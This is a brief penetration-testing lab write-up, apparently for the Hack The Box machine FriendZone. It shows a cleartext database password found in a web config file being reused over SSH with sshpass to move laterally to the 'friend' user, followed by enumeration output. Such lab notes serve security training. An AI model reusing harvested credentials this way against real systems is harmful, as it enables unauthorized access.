FriendZone_Lateral_Movement

fried

---

I found a CLEARTEXT credential hard-coded into a DB configuration file at /var/www/mysql_data.conf Testing for password reuse

┌──(kali㉿kali)-[~/archive/htb/labs/friendzone]
└─$ sshpass -p 'Agpyu12!0.213$' ssh friend@$IP
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-36-generic x86_64)
 
 * documentation:  https://help.ubuntu.com
 * management:     https://landscape.canonical.com
 * support:        https://ubuntu.com/advantage
 
 
 * Canonical Livepatch is available for installation.
   - reduce system reboots and improve kernel security. activate at:
     https://ubuntu.com/livepatch
You have mail.
last login: Thu Jan 24 01:20:15 2019 from 10.10.14.3
friend@friendzone:~$ whoami
friend
friend@friendzone:~$ hostname
FriendZone
friend@friendzone:~$ ifconfig
ens192: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.10.10.123  netmask 255.255.254.0  broadcast 10.10.11.255
        inet6 dead:beef::250:56ff:feb9:7023  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::250:56ff:feb9:7023  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:b9:70:23  txqueuelen 1000  (Ethernet)
        RX packets 16169427  bytes 2121303975 (2.1 GB)
        RX errors 0  dropped 42  overruns 0  frame 0
        TX packets 11135935  bytes 4480179123 (4.4 GB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 110483  bytes 6993117 (6.9 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 110483  bytes 6993117 (6.9 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

password reuse confirmed. Lateral Movement to the friend user

friend@friendzone:/$ id
uid=1000(friend) gid=1000(friend) groups=1000(friend),4(adm),24(cdrom),30(dip),46(plugdev),111(lpadmin),112(sambashare)

The user has a lot of group memberships